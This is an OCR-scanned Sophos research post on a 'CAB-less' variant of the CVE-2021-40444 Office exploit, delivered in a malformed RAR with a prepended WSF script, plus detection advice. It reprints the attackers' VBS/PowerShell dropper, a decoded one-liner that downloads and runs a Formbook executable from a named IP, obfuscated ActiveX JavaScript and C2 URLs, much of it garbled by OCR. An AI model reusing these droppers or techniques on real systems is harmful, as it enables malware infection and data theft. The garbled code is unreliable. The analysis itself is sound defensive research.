Attackers test “CAB-less 40444” exploit in a dry run

news.sophos.com/en-us/2021/12/21/attackers-test-cab-less-40444-exploit-in-a-dry-run/

December 21, 2021

j L . s e s € .

“ T - .._ P-— F H’ -
F VAR — o~y

malformed RAR archive could not be opened in an earlier build of the WinRAR
archiver. We have updated the story to explain how the RARS5 standard has changed
and that WinRAR and other archiving tools now treat data preceding the Rar! magic
bytes as if the archive contained self-extracting code. We have also tested the exploit
on a testbed that has had the September, 2021 Cumulative Update, and while the Word
document still was able to make a connection attempt, the remainder of the attack
would not have completed due to the patch. We are unable to fully test this, because
the malicious website hosting the exploit code has been shut down. We have added
the label “[Updated]” to paragraphs that have been corrected. We apologize for giving
a misleading impression that the exploit fully functions on a computer with the
September (or later) Cumulative Updates installed.]

[Update (2021-12-23 10:00am EST): an earlier version of this post suggested the CAB-
less exploit shown here works on systems that have the September 2021 patch for
CVE-2021-40444. That is not the case; the patch corrected the issue. The attack was
only successful on unpatched Windows systems. Thanks to Mitja Kolsek of ACROS
Security and Will Dormann at CERT/CC for pointing out the error.]

Back in September, Microsoft published a series of mitigation steps and released a patch to
a serious bug (designated CVE-2021-40444) in the Office suite of products. Criminals began
exploiting the Microsoft MSHTML Remote Code Execution Vulnerability at least a week
before September’s Patch Tuesday, but the early mitigations (which involved disabling the
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installation of ActiveX controls), and the patch (released a week later), were mostly
successful at stopping the exploits that criminals had been attempting to leverage to install
malware.

Soon after Microsoft published these solutions, attackers morphed the attack in an attempt to
get around the patch’s protection.

Microsoft®

Word 2010

Contacting the server for information.
The maldoc attempts

0. Office

=
© 2010 Microseft Corperation. All rights reserved. [:q%
| SOPHOSLQDS
to contact a remote server as it opens the document for viewing

Between October 24 and 25, we received a small number of spam email samples that
contained weaponized file attachments; The attachments represent an escalation of the
attacker’s abuse of the -40444 bug and demonstrate that even a patch can’t always mitigate
the actions of a motivated and sufficiently skilled attacker.

Each of the messages shared the same body content, FROM: address, and malicious
attachment.

In the initial versions of CVE-2021-40444 exploits, malicious Office document retrieved a
malware payload packaged into a Microsoft Cabinet (or .CAB) file. When Microsoft’s patch
closed that loophole, attackers discovered they could use a different attack chain altogether
by enclosing the maldoc in a specially-crafted RAR archive. Because it doesn’t actually use
the CAB-style attack method, we’ve called it the CAB-less 40444 exploit. However, while it
may have evaded mitigations of CVE-2021-40444 without the September patch
focused on the CAB-style attack, the changes in the September patch block the
behavior described below.
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How the “CAB-less" -40444 exploit works
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Over a period of a bit more than a day, the attackers sent out spam emails that look like this
one. The only viable samples we received came in messages with an identical message
body and From: address. The message body contains two street addresses in Hungary, but
used a From: address with a domain that was slightly different from that of a real business

based in Jamaica seemingly unconnected to the attack.
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New Request for Order

. . . Repl < Reply All = F d
Fabian, Tamas <admin0011@issratech.com: © Reply © Reply onwar
To Sun 10/24/2021 945 PM

Profile.rar
82 KB

Good day,

My name is Tamas Fabian, | am Sourcing Specialist responsible for contract negotiations at Isratech Group company.
Please find enclosed herewith our company profile for more information about our company.

Also in the attachment is our enquiry, Kindly check and provide me with a quotation according to the specified details.
Your quotation should reach us by COB today.

If you have any questions, please feel free to contact me.

Regards,
Tamas Fabian
Strategic Buyer
Isratech Group

H-8900 Zalaegerszeq | Alsoerdei Gt 3.

H-8800 Nagykanizsa | Kinizsi ut 97 SOPHOS IZ%S

Attached to the message was an archive file named Profile.rar. RAR archives are not
unique or unusual as malicious file attachments, but this one had been malformed.
Prepended to the RAR file was a script written in Windows Scripting Host notation, with the
malicious Word document immediately following the script text.

[Updated] WinRAR (and some other compression utilities) treat any data preceding_the
‘Rar!” header of a RAR file (shown in the image below), as a self extracting archive, but do
no other checking of that data, such as making a determination that it is, in fact, self-
extracting archive code. Archiving utilities that support self extracting archives would
therefore still be able to decompress this.
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[Updated] If a user decompresses this malicious RAR attachment and then opens the Word

document, the exploit triggers.
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<job><script lan
guage=vbs>S5et W=
hShell = WScript
.CreateCbject ("W
Script.Shell™)..
runCmd = "PCwErs
hell —moprofile

-noni -W Hidden

—enc apBlAHghATAA
oACgRbgBlAHCALOE
vAGIAagBlAGHMAARR
gAHMR=QBzAHQRZOR
tAC4AbgBl1AHQALGE
3LEUAYgBjAGwRaQE
1AG4RdRADRCARZAE
vAHcAbgBsAGEAYOE
kAGYRaQBsAGCUAKAL
iAGgR4ARBORHARCGS
vACBRMORWADORLgh
VADQRNERuADCRORR

uADEANWASACBAYQB A script

iRGTREMARRDCARZIOR
4LGUAIgRAsACTAJARE
1AG4RdghahAEwATWE
DAEEATRABBAFARUAR
ELREERVABBAFWAZAR
shGwhaABvAHMAAAR
TAHYAYwRAuAGUR=AR
1ACTREQRpAD=ATWE
OAGERcgBOACOAUTAR
vAGEAYWBIAHMA WA
gACIARJERIAGARAgR
6AEwWATwWBDAEEATAR
BAFRLULRBREREEAVAE
BAFWAZLBsAGwWRaRAR
vAHMEARRTAHYA Y WA
wAGUA=RRIACIA"™. .
WshShell .Run "cm
d fc " & runCmd,

0, Truegfscript
»<fjob . .-
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The malicious document contains a few unusually placed apostrophes in its bargain
basement social engineering style

Microsoft®

Word 2010

Contacting: http://104.244, 78177/ Profile.html
The message

coOffice

© 2010 Microsoft Corporation. All rights reserved. l:%;%
| SOPHOSIQOS)
indicating the malcode source URL flashes by quickly on the Word startup screen as the

document loads, so don'’t blink or you’ll miss it.
In a tool like Process Explorer, shown below, the Word document appears to invoke the RAR
archive itself as though it were a Windows Scripting Host (WSH) script, a weird sort of

circular reference that (in theory) shouldn’t work, but does. Windows allows these kinds of
scripts to mix together other scripting formats. Process Explorer shows the command line as
wscript.exe “.wsf:../../../[[path where RAR was saved]/Profile.rar?.wsf”



https://docs.microsoft.com/en-us/previous-versions//15x4407c(v=vs.85)

= @WINWOF{D.EXE 5436 1583 "C:\Program Files\Microsoft Office’\Office 144WINWORD . EXE" /n "C:\Users\Victim\Desktop ‘document docx

=) @ wscript exe 9136 "CAWINDOW S\ System32WW Script.exe” " wsf:. /¢ /Downloads/Profile rar? wsf"
- [e cmd exe 8444 "CAWindows \System 32cmd exe” /o POwErshell -noprafile noni -W Hidden -enc aGBlAHaAIAAACaAbgBIAHCALG By AGIAa
& conhost.exe 1824« 007 W¥ACAWINDOW Shaystem 32 conhost exe (ed
W powershell exe 7460 475 POwErshell -noprofile -noni -W Hidden -enc aQBIAHgAIAAACgAbgBIAHC ALG BvAGIAag BIAGMAdAA AHM A=CI Bz AL B

sopHoslabs
Because the text of the script appears before the magic bytes of the archive, the Windows

Scripting Host process wscript.exe successfully invokes the embedded PowerShell
command in the RAR file.

job><script language=vbs>Set WshShell =
WScript.CreateObject("WScript.Shell")

runCmd = "POwErshell -noprofile -noni -W Hidden -enc
aQBlAHgATIAAOACgAbgBlAHCALQBVAGIAagBlAGMAdAAgAHMAeQBZzAHQAZQBEACAAbgB1AHQA
LgB3AGUAYgBjAGWAaQBlAG4AdAAPACAAZABVAHCAbgBSAGBAYQBKAGYAaQBSAGUAKAAIAGEA
dABOAHAAOgAVACBAMQAWADQAL gAyADQANAAUADCAOAAUADEANWA3ACBAYQBLAGIAMAAXACAA

ZQB4AGUAIgASACIAJAB1AGAAdgAGAEWATWBDAEEATABBAFAAUABEAEEAVABBAFWAZABSAGWA
aABVAHMﬂdﬂBTﬂHYAYwAuﬂGUﬂeABlﬂCIﬂKQﬂpADSﬂUWBOﬂGEﬂcgBOﬂCOﬂUAByﬂGSﬂYwBlAHMﬂ
cwAgACIAJABlAGAAdgA6AEWATWBDAEEATABBAFAAUABEAEEAVABBAFWAZABSAGWAaABVAHMA
dABTAHYAYWAUAGUAeABIACIA™

WshShell.Run "cmd /c " & runCmd, @, True</script></job>

That PowerShell command decodes a long string of base64-encoded text, which is itself a
separate scripting command that instructs PowerShell to retrieve a malware executable from
a remote website, and run it on the system as dllhostSvc.exe.

iex ((new-object
system.net.webclient).downloadfile("http://104.244.78.177/abbel.exe",

"$env:LOCALAPPDATA\dllhostSvc.exe"));Start-Process
"$env:LOCALAPPDATA\d1lhostSvc.exe"

Why does this work?

[Updated] In theory, this attack just shouldn’t work. For systems that had the September
update, it doesn’t. But in the timeframe of the attack, some systems may not have been
patched yet. It also worked because the compression utility treated the file as a self-
extracting archive.

As with previous exploits against the -40444 bug, the attackers used an Office document that
contains an OLE Object (a mechanism to embed external files or documents), which in a
non-malicious document might be used to view or download a web page with JavaScript. But
buried in the weaponized .docx (which is just a zipped collection of XML files), inside a file
named “word/_rels/document.xml.rels,” the attackers embedded a line of code in_the MHTML
protocol handler that looked like this.

Target="MHTML: &#x48 ; &#x54 : &#x54 ; &#x50 ; &#x3a . &#x5c; &#x5c; &#x31 & The attackers knew

it would be possible some security vendors would detect the plain text of a URL so they
encoded it with XML character entity references. The value of &#x48 above declares a hex
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value of 48, which in ASCII is the letter H, &#x54 represents an ASCII T, and &#x50is P...
the first letters in the familiar http.// protocol header in a URL.

While there is no VBA or macro in the document that can execute, the attacker prompted the
user to “enable content” in the body of the Word document. Doing so triggers the computer
to load a page at hxxp://104.244.78.177/Profile.html (obfuscation intentional).

[Updated] In a test of this functionality on a testbed on which the September update had
been applied, Word attempts to contact the remote website, before the program displays the
document. It is not possible to test whether the full attack would be successful now, because
the website hosting the malicious code has been offline for several weeks.

When we navigated to that page (when it was still live) in a browser, we only saw an Apache
welcome page:

0 & w0a24a78077 D

Medules | Dectives | EAGH | Glossary | Satemap
Apache HTTP Server Version 15

Apache > HTTP Server > Documentation = Vonses 2 3

Getting Started

Available Lanpoages: em | fi | m

1 yveu'ee cosapletely sew so the Apache HTTP Server, of even 1o rosrag & websse of all, vou sopks st know where b siart, of whst gueeition 1o aik Tho docusserm walks v heough de
baics

= '|':r| 1 Siie Combent
» Loz Files and Tioubleshooting
s What's sex”

See also

HoWéQér, when we looked more closely at the source code of that page, there was some

unusual, obfuscated Javascript code there.

<script>
function a{} {
var 1 = ['"wexcEvyUWCi', 'ntudndaWmeHWCOHO=sqg', 'mfPrsujlwG',

return a();

function c({k, d} {

wvar e = all;:
return ¢ = function{f, g} {
£f=£f - 0xl138;
wvar h = e[£];
if (c['yYM=saM'] === undefined)} {

[Updated] The JavaScript on the page would be executed within Office on an unpatched
system. The patch would have blocked the installation of any ActiveX controls in the context
of Microsoft Word. The script used was an obfuscated version of the JavaScript already,
published in a proof-of-concept for this technique to launch that original RAR file as a WSF.
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</div><div class="top"><a href="#page-header"»<img src="./images/up.gif" alt="top" /></a></div><div class="section"><h2><a id="comments_section" name="comments_section">C
omments</a>»</h2><div class="warning">»<strong>Notice:</strong><br />This is not a Q&amp;A section. Comments placed here should be pointed towards suggestions on improving
the documentation or server, and may be removed by our moderators if they are either implemented or considered invalid/off-topic. Questions on how to manage the Apache HT
TP Server should be directed at either our IRC channel, #httpd, on Libera.chat, or sent to our <a href="https://httpd.apache.org/lists.html">mailing lists</a>.</div>

<script>function a(){var l=['wexcKvyUWOi', 'ntu3ndaWmeHNCOHOsq', 'nfPrsujowG','amohWRqfWS5xcNSk/r23cOBKC1G', 'iSkEWShcTSk4Imk4xmk2zW73dSCkiWOq', 'ndCXnZeXDLELLKL] ', 'WRSYCCCZzmk
maW', 'WQZEQb5XWOLdVWXBgSkSWRYD ', 'AhrTBgzPBgu', "W5tdOLL3WOFAISkS8WS0', 'u2nyAxb0', ' INDZzJOULISU1I8U1I%ezxnRDgIW11bYB22PBQUUCMEYPYS3C2y ", ' iICKEW592WT77cNa ", ' WReLWSdd JG1 JWRheRMu
YW40LW4 v9xSkJWRNCODFALSkEWShcMe 1 kW4 JCHL8 AWTWYWPTCNt 4eW4NCP80oZy8kN ", ' INDZzJOU1I8U1I9eB3DUBGOHZhmMVuhjVZMLSzs5¥yxi/1INDZ2G", 'ndaWmtuSBVbZqxHH", 'BgOJyxrPB24 ", 'ex3cTSKkNWSZ+w2Re
KGhdLs/dNbBdImoknSk1EwVAQL/ cVSKWWRCOWP1d03/dRLYS1t 5 IWAXFWRVCGWECNSIX ', 'nZa3mZKWnNPlzffirg', "bxylyvlcHuiygskly21dHvDrWSvIWTHQWSMZiNkKWEICQIC1D0 ) 3WOSSW6KTgmozaWozACoC ", "mEK.
XmZgSMLOREGPOGW ' , ' W73dMrjjW53cQaBevy’, 'ndy5ndylnuLsCwEwWDG ', ' WONCKCK2W5FCStD4pmodWs5b1SontdLAWoeye tVeNt 7eRqTTWA tdTmoHWQM+WOt CHGOZWSq ' , ' mti5SndaWohnoAOHDPDW' ] ;a=function () {re
turn 1;};return a();}function c(b,d){var e=a();return c=function(f,g) (£=f-0x138;var h=e[f];if (c['y¥MsaM']===undefined){var i=function(n){var o='abcdefghijklmnopgrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";var p="',q="";for (var r=0x0,s,t,u=0x0;t=n['charAt'] (u++);~L&& (S=rt0x4?s*0x40+tt, r+++0x4) 2p+=String[' fromCharCode'] (0xffes>> (-0x2
*rg0x6)) :0x0) {t=0["'indexOf'] (t);}for(var v=0x0,w=p['length'];v<w;v++) {q+="%'+('00"+p['charCodeat'] (v} ['toString'] (0x10)) ['slice'] (-0x2);}return decodeURIComponent(q);};va
r m=function (n, o) {var p=[1,g=0%0,r, t="";n=i(n) ;var u;for (u=0x0;u<0x100;u++) {plul=u;}for (u=0x0;u<0x100;u++) {g=(q+p[ul+o['charCodeAt'] (uko['length"]))%0x100, r=p[ul,plul=p
[ql,plal=r; ) u=0x0, g=0x0; for (var v=0x0;v<n['length'];v++) {u=(u+0x1)%0x100, q=(q+p[u])20x100, r=p(ul,plul=plql,plql=r, t+=String[' fromCharCode"] (n['charCodeat'] (v) p[ (plul+p
[q])%0x1001);}return t;};c['IuTrEy' ]=m, b=arguments, c['y¥MsaM']=!![];}var j=e[0x0], k=f+j, 1=b[k];return!l? (c['QGttIM']|=—==undefinedss (c['QGttZM']1=!1[1), h=c['IuTrEy'] (h,q),b
[k]=h) :h=1,h;}, c(b,d); } function b(c,d) {var e=a();return b=function (f,q) [£=f-0x138;var h=e[£];if (b['FETBMn']===undefined) {var i=function(m}{var n='abecdefghijklmnopgrstuvwx
yzABCDEFGHIJKLMNOPQRSTUVWKYZ0123456789+/=";var o="'',p="";for(var gq=0x0,r,s,t=0x0;s=m['charAt'] (t++) ;j~5&& (r=q®0x4?r*0x40+s:s, q++%0x4) 20+=String[' fromCharCode'] (0xffer>> (-0
®x2*q§0x%6) ) :0x0) {s=n['indexOf'] (s); )} for (var u=0x0,v=o['length'];u<v;u++) {p+="%"+('00"+o['charCodeAt'] (u) ['toString'] (0x10)) ['slice'] (-0x2);}return decodeURIComponent (p);};
b['cIBRNr']=i,c=arguments,b["FETBMm']=!![];}var j=e[0x0],k=£+j,1=c[k];return!1? (h=b['cIBRNr'] (h),c[kl=h):h=1,h;},b(c,d)};}var k=c,j=b; (function(d,e) {var i=b,f=d();while
(!11[]){try{var g=parseInt(i(0x14b))/Oxl+parseInt (i(0x13e))/0x2*(-parseInt(i(0x141))/0x3)+-parseInt(i(0x150))/0xd+-parseInt (i(0x139))/0x5+parseInt(i(0x13d))/0x6+parseInt (i
(0xlde)) /OxT+parseInt (i (0x13b))/0x8;if (j===e)break;else f['push'] (£['shift"]());}catch(h) {£["push'] (E['shift'1());}}}(a,0xbbeSa),new ActiveXObject (j(0x144)) [§(0x146)]["'lo
cation']=k(0x149, 'dgmm') ,new ActiveXObject (j(0x144)) [k(0x13c, 'k0X5')][](0xl4c)]=k(0x1l4d,'[Otp'),new ActiveXObject ('htmlfile') [§(0x146)]['location']=7 (0xl4a),new ActiveXob
ject ('htmlfile') [k(0x148, 'MCIE') 1 [k(0x138, 'kzZ¥YE")1=] (0x147),new ActiveXObject (j (0x144)) [ (0x146)] [k(0x142, 'Lz1J")1=k(0x14£, 'BiKg"'),new ActiveXcbject (k(0x145, 'h]1@1")) [F (0x
146)1 [ (0xlde) 1=k (0x13a,'!v$V'));</script> @%
sopHoslabs

After partially decoding the Javascript, the XML commands become more clear towards the
end of the code

Once the file is found, wscript.exe will run the WSF code, which in turn launches PowerShell.
As mentioned previously, the attack uses a base64 encoded PowerShell command.

Decoding that reveals the final stage of exploitation:

<job><script language=vbs>Set WshShell = WScript.CreateObject("WScript.Shell™)

runCmd = "POwErshell -noprofile -noni -W Hidden -enc
aQB1AHgAIAAOACgAbgBlAHCALQBVAGIAagBlAGMAdAAgAHMAEQBzAHQAZQBtACAAbgBLAHQAL gB3AGUAYgBjAGwAa
QB1AG4AdAApACAAZABVAHCAbgBsAGBAYQBKAGYAaQBsAGUAKAALIAGEAdABOAHAAOEAVACSAMQAWADQAL gAyADQANA
AUADcAOAAUADEANWA3ACBAYQBi1AGIAMAAXACAAZQBAAGUAIgASACIAJABLIAGAAdgA6AEWATWBDAEEATABBAFAAUAB
EAEEAVABBAFWAZABsAGWAaABVAHMAdABTAHYAYwWAUAGUAeAB1ACTIAKQApADSAUWBOAGEACgBOACOAUABYAGBAYWB1
AHMACWAgACTIAJAB1AGAAdgA6AEWATWBDAEEATABBAFAAUABEAEEAVABBAFWAZABSAGWAaABVAHMAJABTAHYAYWAUA
GUAeABlACIA"

WshShell.Run "cmd /c ™ & runCmd, @, True</script></job> EmEElEE

iex ((new-object
system.net.webclient).downloadfile("http://104.244.78.177/abbel.exe",
"$env:LOCALAPPDATA\d1llhostSvc.exe"));Start-Process “$env:LOCALAPPDATA\dllhostSvc.exg;msﬁ%

5

iex ((new-object
system.net.webclient).downloadfile("hxxp://104.244.78.177/abb01.exe", "$env:LOCALAPPDAT
Process "$env:LOCALAPPDATA\dllhostSvc.exe"

This resulted in the computer downloading a malicious file into “AppData\Local” and
launching it. The Labs team later confirmed that this EXE was a sample of a malware family
called Formbook.

Noisy over the network

This attack was particularly noisy from a network perspective.

The Javascript that runs on the Profile.html page creates a series of network requests that
was somewhat bizarre. The practical effect of the Javascript deobfuscating itself as it runs
causes a noticeable delay in the execution of the script, taking from five to eight seconds to
complete the infection process and generating distinctive network traffic in the process.
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https://news.sophos.com/wp-content/uploads/2021/12/cabless-40444-decodedscript.png

Full request URI Reguest Method

http://184.244.78.177/ OPTIONS
http://104.244.78.177/Profile. html HEAD
http://184.244.78.177/ OPTIONS
http://104.244.78.177/ PROPFIND
http://184.244.78.177/ PROPFIND
http://184.244.78.177/Profile. html GET
http://104.244.78.177/Profile. hitml HEAD The script running on
http://104.244.78.177/Profile.html HEAD
http://104.244.78.177/Profile. html HEAD
http://184.244.78.177/ PROPFIND
http://184.244.78.177/ PROPFIND
http://184.244.78.177/Profile. html GET
http://184.244.78.177/Profile.html HEAD U5
http://104.244.78.177/Profile.html SDPHﬂg‘_G g5

Profile.html triggers the 'corr-wpt'Jter'to make multiple requests to the page using different HTTP
request “verbs” — not only the typical GET request, but also HEAD, OPTIONS, and
PROPFIND. It’s this last HTTP request type that’s of interest not only because it's unusual,
but because the purpose of that request type is for XML documents to request web-based
resources — exactly what the exploit does.

At the end of this process, the script triggers Word to run the Windows Script Host, pointing it
at the .rar file. The script invokes PowerShell, which (eventually) downloads the Formbook
payload. Noticeably, while the other HTTP requests in this process all have User-Agent
strings, the final request that delivers the malware executable does not. Notably, the User-
Agents that do get used during these requests make no sense: Some of the requests
pretend to be from an Internet Explorer 7 browser running on a version of Windows 8 that’s
five years past its best by date, and others appear to use the User-Agent string of Microsoft
Office Existence Discovery.

2821-1@-25 23:54:17.487139 http://104.244.78.177/Profile.html GET 184.244,78.177 Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.2;
2821-1@-25 23:54:17.564389 http://104.244.78.177/Profile.html HEAD 184.244.78.177 Microsoft Office Existence Discovery

2821-18-25 23:54:17.721896 http://184.244.78.177/Profile.html HEAD 184.244.78.177 Microsoft Office Existence Discovery

2621-10-25 23:54:18.238275  http://104.244.78.177/style/css/manual.css GET 184.244.78.177 Mozilla/4.@ (compatible; MSIE 7.8; Windows NT 6.2;
2021-10-25 23:54:18.251853  http://184.244.78.177/images/left.gif GET 104.244_78.177 Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.2;
2021-18-25 23:54:18.25193@  http://184.244.78.177/images/feather.png GET 104.244.78.177 Mozilla/4.@ (compatible; MSIE 7.8; Windows NT 6.2;
2021-10-25 23:54:18.252231  http://104.244.78.177/style/scripts/prettify.min.js GET 184.244.78.177 Mozilla/4.@ (compatible; MSIE 7.8; Windows NT 6.2;
2021-10-25 23:54:18.253868  http://184.244.78.177/images/up.gif GET 104.244_78.177 Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.2;
2821-1@-25 23:54:18.253@8@  http://1@4.244.78.177/style/css/prettify.css GET 184.244.78.177 Mozilla/4.@ (compatible; MSIE 7.8; Windows NT 6.2;
2021-10-25 23:54:18.253284  http://104.244.78.177/images/down.gif GET 184.244.78.177 Mozilla/4.@ (compatible; MSIE 7.8; Windows NT 6.2;
2021-10-25 23:54:18.253437  http://1@4.244.78.177/style/css/manual-print.css GET 184.244.78.177 Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.2;
2021-1@-25 23:54:18.724823  http://104.244.78.177/style/css/manual-loose-1@@pc.css GET 184.244.78.177 Mozilla/4.@ (compatible; MSIE 7.8; Windows NT 6.2;
2821-10-25 23:54:23.629228 http://184.244.78.177/abb@l.exe GET 164.244.78.177

As for the malware payload itself, Formbook is an extremely noisy customer. The malware
communicated with more than 50 servers over the course of about 18 hours, generating a
huge number of web requests that were also distinctive in that the bot connected to a URL
with the string /zxsc/ in the URI path on each server, and without a User-Agent in the request
header. It made many HTTP connections per minute following this pattern, which would be
extremely obvious to anyone monitoring the network for unusually high volumes of
anomalous activity. But many don't.
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-trippresso.com/xzes/? cXr=WfMIVDEmggIlo6ToZeQyDkatyInEEA7UCFc1QLIIBYUGRQEAGTYbOMF8pT25YEI0RT. ..
thebrandstudicinternational.com/xzes/?cXr=hHkh8CDHa3TgZBUz jaxkrlzKrETBoK7eA41q+CPEMSNHXGSS...
extrobility.com/xzes/?sToHs=pd/4j160V30DU/X6FXUgjBFHbCUG+qKjd6PNL14Fy+1ukQDkzskk+1lexARUiQ5g...
punkidz.com/xzes/?cR-h=1bbLr4&cXr=rzqclviX9y08TeXbKIC8xd++pVURV7A4ENDEGOF zL+njc3DZnbn@Calm..
sandyanmax.com/xzes/?sToHs=g87oFN@IDNATxCITGTPV7vxGL1t4+5ts JbZNKmI+mx7 dSX2KKT zeBQ/ vxMF 6K4...
venkataramanagraphics.com/xzes/?sToHs=zQCXIP8A+3sYqk2SEVZOGTTEXh1gTEpXjhZxjdhtdUgNNOND+...
dashmints.com/xzes/ ? cXr=hU+vhYwtbVGVxYeH+2xi/ /+1NZAACS FdNAe gk VL /Xr Zkwg YS68HT tUHE2w/ FdKdBZK...
overway.store/xzes/?sToHs=NeIlDzsdMk5FXpI3@5WwuAqYTUkdDte6huVEBT1QE4M7SWUkEYE4q@0AbIZV e/ ..
captekbrasil.com/xzes/?cR-h=1bbLra&cXr=nm3KboRwqrHf jLratgWiiAhLuySCISATrKXgOMGMcrQSga4tD15..
joannhydeyoga. com/xzes/?sToHs=M74vbXdRzCEwBTb/8YoAkr JESCIZSXZA/+ENQKVIYELk+ Y IXMMUAZ WP FhG...
venkataramanagraphics.com/xzes/?cXr=zQCXIP8A+35Yqk25EVZIGWWTBXh1gfEpXjhZxjdhtdUghNNOnD+sv..
xn--maraaestudio-dhb. com/xzes/?cR-h=1bbLr4&cXr=b9GuDKXod3aWkGE460ACXhHZNSMR7B1bT1Z10dn1gxv..
bookbgconspicuous. com/xzes/ ?sToHs=IaX5hNUhLyuYMSxYMODGY@MR3IZLhIZUFYG]/ YCqAhLImMEz0yi2hjsZd..
dashmints.com/xzes/ ?cXr=hU+vhYwtbVGVxYeH+2xi/ /+1INZAACS TdNAR gk VL / Xr Zkwg Y S68HT TUHE2w/ FdKdBZK...
alignatura.com/xzes/?VIBLaD=-Z-Xm&sToHs=0BWmTVxDulIN6UabbtPIz56mg7t5r49F 2icugGLKbYZwAcuvKi...
spydasec.com/xzes/?cR-h=1bbLr4&cXr-QM2gcsF1C0dRTX8ItwRoid14KBbBGVLPEUopIc/CkZr/jrtGnlce/LC ..
fragrant-nest.com/xzes/?VIBLaD=-Z-Xm&sToHs=mSZyZ56jL5qviIadMs404RyHIUuL1iUDpkivdiz8he3wkigix..
thebrandstudicinternational. com/xzes/?sToHs=hHkh8CDHa3TgZBUz jaxkrlzKrETBoK7eA41q+CPEmSNHX..
dashmints.com/xzes/ ?VIBLaD=-Z-Xm&s ToHs=WUHvhYw+bVGVxYeH+2xW/ /+1NZAAC3TdNAegkVL/ Xr Ziwg YS68H...
sxjcfw.com/xzes/?sToHs=REyTgekIjfCLZc1dQDy715niBkRCVzjilbB6diPan7ASTZUUQE cWuXkrzbBTeCLD2Ih..
bestplacementconsultancy.com/xzes/?VIBLaD=-Z-Xm&sToHs=Ljnth1Scyx91K+jDKIONPL/ gRIUgaULYYZNK...
maihengkeji.online/xzes/?sToHs=hHy364eehxS5FrmGbjavDVouBk2C5B1MejPoZ+kualplqxjr5xXdSwelDUoe..
dashmints.com/xzes/ ?mN6@=Vd8ptE5PiH&s ToHs=kiHvhYwtbVEVxYeH+ 2/ /+1INZAACSTdNAe gkVL/ Xr Zwg Y S...
punkidz.com/xzes/?cXr=rzqcIviX9y08TAXbKIC 8xd++pVURVTA4ENDEGQFzL+njc3DZnbn@Calm33TKbpo@FFlr..
7locks-mocha-totalbeauty. com/xzes/? sToHs=NekvulXM@ieUFgmb/30xmlbAThIxI8kGSASUILTiT+HIANYAUA..
.venkataramanagraphics.com/xzes/?mN6@=Vd3ptE5PiH&s ToHs=20CXIPBA+35Yqk2SEVZIGWWTfEXh1gfROIP DS

Request Method

GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET
GET

lg}%s

Formbook is a very noisy malware over the network, making many requests per minute

Patching quickly when exploits strike

This modified exploit disappeared after only a day in use, likely because of a low success
rate because of the September patch.

[Updated] One thing that we noticed in the course of this investigation is that the older

version of WinRAR on the test system could not function with these modified rar archive files.

Recent editions of the program did not have this problem. When we originally tested this on a
testbed machine, the version of WinRAR installed on it (3.61) could not open the archive,

throwing an error.

Error

%

CihUsersh

The archive is either in unknown format or damaged

“Deskt

op'\Profile.rar

SOP

[Updated] After communicating with the developers of the WinRAR archiving program, they
explained that this particular version of WinRAR would not have supported the RARS5 self-

extracting archive format, which is probably the reason why it reported the error message.

When we installed the newest available build of WinRAR (6.10 beta 3), it was able to

successfully open and extract the maldoc from the archive file.
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File Commands Tools Favorites Options  Help

@@Elme \® @ & @

Add Extract To Test Yiew Delete Find Wizard Infa YirusScan Comment  Protect

T |§ Profile.rar - 5FX RAR archive, unpacked size 84,537 bytes

Fat

Mame Size Packed Type Meodified CRC32
" File folder
@_] document.docx 84 537 83,165 Microsoft Word D...  10/22/2021 2:0... EBGB2EEIB4
About WinRAR *
OK |
License
Admowledgments
WinRLAR. 6. 10 beta 3 (54-bit) Home page
Copyright © 1993-2021 by
Alexander Roshal o
Published by win.rar GmbH :%
sopPHoslabs

[Updated] So, unexpectedly, in this case, users of this specific, much older, outdated version
of WinRAR would not have been able to unpack the archive, though not as a result of any
deliberate effort.

[Updated] While that’s clearly unusual behavior, we wouldn’t recommend that you
downgrade to an unsupported version of an archiver utility just because it broke this edge-
case attack. Our conventional advice still applies here: When Microsoft publishes warnings
about exploits being used “in the wild,” this is what they mean. Someone, or some group of
people, was already using this exploit in a spam campaign, implementing it as soon as they
discovered the technique and could turn it into an operational campaign.

But patching alone cannot prevent all vulnerabilities, in every case. Enabling all the
restrictions that would prevent a user from accidentally triggering a maldoc helps somewhat,
but people can (and frequently are) fooled into clicking that “Enable content” button. Learning
that doing this is, generally, a bad idea isn’t hard, but it needs to be reinforced. Training
yourself to be reflexively suspicious of emailed documents, especially when they arrive in
unusual or unfamiliar compressed file formats from people or companies you don’t know,
sounds like a simple thing but it takes practice to recognize when something’s amiss. Learn
to trust your instincts and check with the sender (or a knowlegeable person in the IT team) if
you run into something like this — preferably before opening it.

Detection guidance
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Sophos endpoint products will detect the weaponized document files that contain the
CABless -40444 exploit as Troj/DocDL-AEOL; Sophos endpoint products generically detect
Formbook malware based on longstanding static analysis rules. We’ve published indicators
relating_to samples investigated in this report on the SophosLabs Github page and updated it
with additional IOCs including the Profile.html page.
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https://github.com/sophoslabs/IoCs/blob/master/Troj-DocDL-AEOL.csv

